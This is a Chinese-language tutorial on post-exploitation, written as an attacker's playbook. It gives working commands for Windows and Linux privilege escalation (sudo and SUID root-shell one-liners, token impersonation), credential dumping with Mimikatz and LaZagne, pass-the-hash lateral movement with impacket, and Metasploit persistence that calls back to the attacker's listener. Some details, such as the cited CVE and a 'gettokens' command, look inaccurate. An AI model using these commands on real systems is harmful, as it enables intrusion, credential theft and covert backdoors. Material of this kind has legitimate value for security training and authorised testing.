后渗透阶段的权限提升与横向移动
后渗透的目标
拿到初始 shell(通常是普通用户权限)后,后渗透阶段的目标:
- 提升权限:从普通用户 → 系统管理员 / Domain Admin
- 收集凭据:导出密码哈希、令牌、SSH 密钥
- 横向移动:从一台主机跳到内网的其他主机
- 建立持久化:在系统里埋下后门,确保连接中断后还能回来
- 情报收集:找出域控、文件服务器、数据库等高价值资产
权限提升:Windows
Windows Service Exploits(最常见)
检查当前用户是否可以启动/停止 Windows 服务:
# PowerUp 脚本自动检查
Import-Module PowerUp.ps1
Invoke-AllChecks
或手动:
# 查看当前用户可以操作的服务
sc.exe qc <ServiceName>
accesschk.exe -ucqv <ServiceName>
如果服务的配置文件路径可写(BINARY_PATH_NAME),或者服务的 ACL 里包含当前用户有写入权限,就可以把恶意二进制替换进去提权。
AlwaysInstallElevated(组策略漏洞)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如果值是 1,说明 MSI 安装包会以 SYSTEM 权限运行。生成一个 MSI 就能提权。
Token Impersonation
Metasploit 拿到 Meterpreter 后:
# 列出当前进程持有哪些令牌
gettokens
# 找到 SYSTEM 令牌后注入
use incognito
list tokens -u
impersonate_token "NT AUTHORITY\\SYSTEM"
其他提权路径
- SeImpersonatePrivilege:可以 impersonate SYSTEM,用 PrintSpoofer 或 GodPotato
- SeBackupPrivilege:可以读取 SAM 和 SYSTEM hive
- Windows Defender Exclusions:如果有文件夹被排除,写入恶意 DLL
- Kernel Exploits:最后手段,内核漏洞(如 PrintNightmare、CVE-2022-21988)
权限提升:Linux
检查 sudo 权限
sudo -l
# 如果有可以免密 sudo 的命令,直接利用
# 例:python3 -c 'import os; os.system("/bin/bash")'
# 如果 sudo 配置有 NOPASSWD
sudo vim -c '!bash' # vim 也是 GTFOBins
可写的 SUID 二进制
find / -perm -4000 2>/dev/null | xargs ls -la
# 查 GTFOBins 看这些 SUID 二进制能不能利用
# 例:/usr/bin/python3 有 SUID → python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
CTF 实战常用
- Cron job 脚本可写 → 等定时执行时用 root 权限跑
- NFS 无 root_squash → 挂载后写入 setuid 二进制
凭据收集
Mimikatz(Windows)
use post/windows/gather/credentials/mimikatz
# 或直接加载 mimikatz
meterpreter> load mimikatz
meterpreter> mimikatz_command -f sekurlsa::logonpasswords
meterpreter> mimikatz_command -f sam::dump
可以拿到内存中的明文密码(Windows 10 之前)或 NTLM 哈希。
LaZagne(跨平台)
# 在目标上运行(需要上传)
python3 LaZagne.py all
自动扫描浏览器、SSH、云存储等几百种软件里保存的密码。
横向移动
横向移动的核心是用已拿到的凭据跳到其他主机:
SMB 传递哈希(PTH)
# 用已拿到的 NTLM 哈希,通过 SMB 直接登录其他主机
impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.101
WMI 横向
meterpreter > run post/windows/gather/wmic_command ARCH=64 CMD=whoami RHOSTS=192.168.1.0/24
PsExec / WMIExec
impacket-wmiexec administrator:password@192.168.1.101
impacket-psexec administrator:password@192.168.1.101
维持访问
最基础的后门就是 Metasploit persistence:
meterpreter > run persistence -U -i 30 -p 4444 -r <你的IP>
注册一个开机启动的脚本,每次用户登录就会回连到你的 listener。但更隐蔽的是 Cobalt Strike beacon(非 Kali 自带)。